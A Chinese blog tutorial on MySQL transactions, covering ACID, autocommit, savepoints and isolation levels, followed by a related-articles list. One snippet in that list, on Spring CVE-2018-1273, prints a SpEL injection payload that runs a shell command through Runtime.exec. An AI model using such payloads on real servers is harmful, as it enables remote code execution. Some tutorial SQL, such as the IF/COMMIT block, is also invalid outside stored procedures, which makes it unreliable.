Mysql高级篇(中)——事务篇

事务篇

  • 一、数据库事务概述
    • (1)概念
    • (2)事务的处理原则
    • (3)事务的特性(ACID)
    • (4)事务的创建
  • 二、如何使用事务
  • 三、事务隔离级别
    • (1)分类
    • (2)实际生活场景示例理解
    • (2)隔离级别的查看和设置
  • 四、事务日志
    • (1)分类
    • (2)使用

一、数据库事务概述

(1)概念

  • 事务是一组逻辑操作单元,使数据从一种状态变换到另一种状态

(2)事务的处理原则

  • 在一个事务中要么所有的操作都成功执行并最终提交,要么如果其中任何一个操作失败,整个事务会被回滚,保证数据库状态不会受到部分操作的影响。
  • 事务特别适合用于需要保持数据一致性的场景,如:银行转账等需要同时更新多个表的操作。

(3)事务的特性(ACID)

  • 原子性 Atomicity:一个事务不可再分割,要么 都执行 要么 都不执行

  • 一致性 Consistency:一个事务执行会使数据从一个 一致状态 切换到 另外一个一致状态

  • 隔离性 Isolation:一个事务的执行 不受 其他事务的 干扰

  • 持久性 Durability:一个事务一旦提交,则会 永久的改变 数据库的数据.`

在这里插入图片描述

(4)事务的创建

1、隐式事务

  • 事务没有明显开启结束标记,比如insertupdatedelete语句


    关键字autocommit
    关闭set autocommit = false;
  • 默认是开启的,如下图可以通过命令查看;
    开启之后,每一条增改操作都是一个独立的事务

    在这里插入图片描述





2、显式事务

  • 事务具有明显开启结束标记

    前提: 必须 先设置自动提交功能为禁用: set autocommit=0;


步骤1开启事务

set autocommit=0;
start transaction;------------------可选的

步骤2编写事务中的sql语句(select insert update delete)

语句1;
...

步骤3结束事务

commit;---------------------提交事务

rollback;------------------回滚事务

二、如何使用事务

1. 确认使用支持事务的存储引擎

  • MySQL中只有InnoDB等存储引擎支持事务,而MyISAM等不支持。因此,首先确保您的表使用的是InnoDB引擎。
-- 检查表的存储引擎
SHOW TABLE STATUS WHERE Name = 'your_table_name';-- 如果需要,修改表的存储引擎为InnoDB
ALTER TABLE your_table_name ENGINE=InnoDB;

2. 开始事务

  • 使用 START TRANSACTION、BEGIN 或者 BEGIN 命令开始一个事务。
START TRANSACTION;
-- 或者
BEGIN;

3. 执行数据库操作

  • 在事务块中执行您的SQL语句,如 INSERT、UPDATE、DELETE 等。
INSERT INTO your_table (column1, column2) VALUES (value1, value2);
UPDATE your_table SET column1 = value WHERE condition;
DELETE FROM your_table WHERE condition;

4. 提交或回滚事务

  • 提交事务:如果所有操作都成功,使用 COMMIT 命令提交事务,使更改永久保存。
  • 回滚事务:如果发生错误,使用 ROLLBACK 命令回滚事务,撤销所有未提交的更改。
COMMIT;ROLLBACK;

5. 使用保存点(可选)

  • 使用 SAVEPOINT 创建事务内的保存点,可以部分回滚到某个保存点。
SAVEPOINT savepoint_name;
-- 执行一些操作
ROLLBACK TO SAVEPOINT savepoint_name;
-- 继续其他操作
RELEASE SAVEPOINT savepoint_name;

6. 设置自动提交模式(可选)

  • 默认情况下,MySQLautocommit 是开启的,每个独立的SQL语句都会被自动提交。可以通过以下方式关闭自动提交:

关闭后,必须手动提交或回滚事务。

SET autocommit = 0;

7. 事务隔离级别(可选)

  • 可以设置事务的隔离级别,以控制事务之间的干扰程度。
SET  [GLOBAL|SESSION] TRANSACTION ISOLATION LEVEL '隔离级别';其中'隔离级别'格式如下
-- READ UNCOMMITTED(读未提交)
-- READ COMMITTED(读已提交)
-- REPEATABLE READ(可重复读)
-- SERIALIZABLE(串行化)
--------------------------------------------------------------------------------------------------------------------------
SET [GLOBAL|SESSION] TRANSACTION_ISOLATION = '隔离级别';其中隔离级别格式如下(注意下滑线)
-- READ_UNCOMMITTED(读未提交)
-- READ_COMMITTED(读已提交)
-- REPEATABLE_READ(可重复读)
-- SERIALIZABLE(串行化)

完整示例

START TRANSACTION;-- 转账操作:从用户A扣款,给用户B加款
UPDATE accounts SET balance = balance - 100 WHERE user_id = 'A';
UPDATE accounts SET balance = balance + 100 WHERE user_id = 'B';-- 检查余额是否足够,是否有任何错误
SELECT balance FROM accounts WHERE user_id = 'A';-- 根据条件决定是提交还是回滚
IF (/* 检查条件 */) THENCOMMIT;
ELSEROLLBACK;
END IF;

使用事务可以提高数据操作的可靠性,确保数据的一致性。在 MySQL中,事务的使用主要包括开始事务、执行操作、提交或回滚事务。根据业务需求,合理设置事务的隔离级别锁机制,可以有效地管理并发操作。

三、事务隔离级别

(1)分类

事务的隔离级别脏读不可重复读幻读
READ UNCOMMITTED(读未提交)
READ COMMITTED(读已提交)X
REPEATABLE READ(可重复读)XX
SERIALIZABLE(串行化)XXX

在这里插入图片描述

(2)实际生活场景示例理解

在这里插入图片描述

(2)隔离级别的查看和设置

查看隔离级别

SELECT @@transaction_isolation;

SELECT @@GLOBAL.transaction_isolation;------查看全局的隔离级别

在这里插入图片描述

设置隔离级别

① 设置当前MySQL链接的隔离级别

SET SESSION TRANSACTION ISOLATION LEVEL 隔离级别;

  • SESSION 加不加都可以,但是不加的时候,执行后不会马上生效,所以最好加上。

② 设置数据库系统全局或会话的隔离级别

SET GLOBAL TRANSACTION ISOLATION LEVEL 隔离级别;

SET SESSION TRANSACTION ISOLATION LEVEL 隔离级别;


在这里插入图片描述

或者:

SET [GLOBAL|SESSION] TRANSACTION_ISOLATION = 隔离级别;

其中隔离级别格式如下(注意下滑线):

  • READ_UNCOMMITTED(读未提交)
  • READ_COMMITTED(读已提交)
  • REPEATABLE_READ(可重复读)
  • SERIALIZABLE(串行化)

SAVEPOINT 的使用

节点名:设置保存点,要和 ROLLBACK 一起使用才有意义


用法:
在这里插入图片描述

执行上述代码前:
在这里插入图片描述


执行上述代码后:
在这里插入图片描述

示例代码:

# 删除表
DROP TABLE IF EXISTS tab_indentity;
# 创建表时设置标识列
CREATE TABLE IF NOT EXISTS tab_indentity(
id INT PRIMARY KEY  auto_increment,
NAME VARCHAR(20)
);
# 插入数据
INSERT INTO tab_indentity VALUES(66,"tom");
INSERT INTO tab_indentity VALUES(NULL,"jerry");
INSERT INTO tab_indentity VALUES(NULL,"wang");# SAVEPOINT 节点名:设置保存点,
# 要和 ROLLBACK 一起使用才有意义
set autocommit = 0;
DELETE FROM tab_indentity WHERE id = 68;
SAVEPOINT a;#设置保存点
DELETE FROM tab_indentity WHERE id = 69;
ROLLBACK TO a;SELECT * FROM tab_indentity; 

四、事务日志

MySQL 的事务日志是确保数据一致性持久性的重要机制,主要用于支持数据库的事务性操作。事务日志能够记录数据库对事务所做的修改,确保在系统故障后能够进行恢复,保持数据完整性。MySQL 中的事务日志体系主要包括以下几种类型:

(1)分类

在这里插入图片描述
在这里插入图片描述

(2)使用

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148054.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

每日一练:二叉树的中序遍历

94. 二叉树的中序遍历 - 力扣(LeetCode) 一、题目要求 给定一个二叉树的根节点 root ,返回 它的 中序 遍历 。 示例 1: 输入:root [1,null,2,3] 输出:[1,3,2]示例 2: 输入:root …

探索Allure Report:提升自动化测试效率的秘密武器

一.使用 Allure2 运行方式-Python # --alluredir 参数生成测试报告。 # 在测试执行期间收集结果 pytest [测试用例/模块/包] --alluredir./result/ (—alluredir这个选项 用于指定存储测试结果的路径) # 生成在线的测试报告 allure serve ./result 二.使用 Allure2 运行…

计算机前沿技术-人工智能算法-大语言模型-最新论文阅读-2024-09-15

计算机前沿技术-人工智能算法-大语言模型-最新论文阅读-2024-09-15 1. Towards the holistic design of alloys with large language models Z Pei, J Yin, J Neugebauer, A Jain - Nature Reviews Materials, 2024 利用大型语言模型实现合金的全面设计 摘要 文章讨论了大型…

基于单片机的自行车智能辅助系统设计

文章目录 前言资料获取设计介绍功能介绍设计程序具体实现截图目 录设计获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师,一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等单片机设计 …

构建数据分析模型,及时回传各系统监控监测数据进行分析反馈响应的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。增…

[论文精读]Towards Deeper Graph Neural Networks

论文网址:Towards Deeper Graph Neural Networks | Proceedings of the 26th ACM SIGKDD International Conference on Knowledge Discovery & Data Mining 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和…

在云渲染中3D工程文件安全性怎么样?

在云渲染中,3D工程文件的安全性是用户最关心的问题之一。随着企业对数据保护意识的增强,云渲染平台采取了严格的安全措施和加密技术,以确保用户数据的安全性和隐私性。 云渲染平台为了保障用户数据的安全,采取了多层次的安全措施。…

ROS机器人书的一些思考

思考 写一本书不难,写一本有价值的书很难,在语言大模型如此发展的今天写一本有价值的书,难上加难。 如何能让学生或读者发自内心的渴望打开一本书,尤其是在这个数字媒体技术如此发达的时代。 这个问题从一开始从事相关工作到如…

解决shop-vite项目打包被限制问题

本人网上找了一个好看的项目 shio-vite 项目源码 ,并通过其他方式获取到源码,但是打包出现了以下问题。 问题图片一: 问题图片二: 问题图片三: 需要code和解决方式私可以留言哈

如何使用gewechat开发微信机器人

随着人工智能和自动化技术的快速发展,微信机器人已经成为越来越多人的选择。它们可以帮助我们自动回复消息、管理群组、发送定时消息等,极大地提高了我们的工作效率。而GeWe框架,作为一款开源的微信机器人框架,为开发者提供了便捷…

基于SpringBoot+Vue的垃圾分类回收管理系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏:Java精选实战项目…

ChatGPT 推出“Auto”自动模式:智能匹配你的需求

OpenAI 最近为 ChatGPT 带来了一项新功能——“Auto”自动模式,这一更新让所有用户无论使用哪种设备都能享受到更加个性化的体验。简单来说,当你选择 Auto 模式后,ChatGPT 会根据你输入的提示词复杂程度,自动为你挑选最适合的AI模…

【WRF运行第三期】服务器上运行WRF模型(官网案例-Hurricane Matthew)

【WRF运行第三期】运行WRF模型(官网案例-Hurricane Matthew) 官网案例-Hurricane Matthew介绍0 创建DATA文件夹1 WPS预处理1.1 解压GRIB数据(ungrib.exe)1.1.1 解压GRIB数据---GFS(Matthew案例研究数据)1.1…

Gartner:中国企业利用GenAI提高生产力的三大策略

作者:Gartner高级首席分析师 雷丝、Gartner 研究总监 闫斌、Gartner高级研究总监 张桐 随着生成式人工智能(GenAI)风靡全球,大多数企业都希望利用人工智能(AI)技术进行创新,以收获更多的业务成果…

“AI+Security”系列第3期(二):AI赋能自动化渗透测试

近日,“AI Security” 系列第 3 期:AI 安全智能体,重塑安全团队工作范式技术沙龙活动正式举行。该活动由安全极客、Wisemodel 社区、InForSec 网络安全研究国际学术论坛和海升集团联合主办,吸引了线上与线下千余名观众参与。 在…

LLM大语言模型算法特训,带你转型AI大语言模型算法工程师

LLM(大语言模型)是指大型的语言模型,如GPT(Generative Pre-trained Transformer)系列模型。以下是《LLM大语言模型算法特训,带你转型AI大语言模型算法工程师》课程可能包含的内容: 1.深入理解大…

【算法思想·二叉树】最近公共祖先问题

本文参考labuladong算法笔记[拓展:最近公共祖先系列解题框架 | labuladong 的算法笔记] 0、引言 如果说笔试的时候经常遇到各种动归回溯这类稍有难度的题目,那么面试会倾向于一些比较经典的问题,难度不算大,而且也比较实用。 本…

分享一个vue+spring的前后端项目

管理员页面 用户界面 后面的一部分 后端代码

守护企业资产安全:企业微信群禁止互加好友操作指南!

为了防止其他公司的人员混入发起私聊,导致客户资源流失,禁止互加好友十分重要。而软件自带群防骚扰功能,设置好相关规则后,群内成员触发规则会被踢出群聊。 进入工作台-点击更多-选择客户群-选择防骚扰-选择配制企业成员防骚扰规…

spring 代码执行(CVE-2018-1273)

(1)填写注册信息,burp抓包 (2)添加poc username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]&password&repeatedPassword (3&…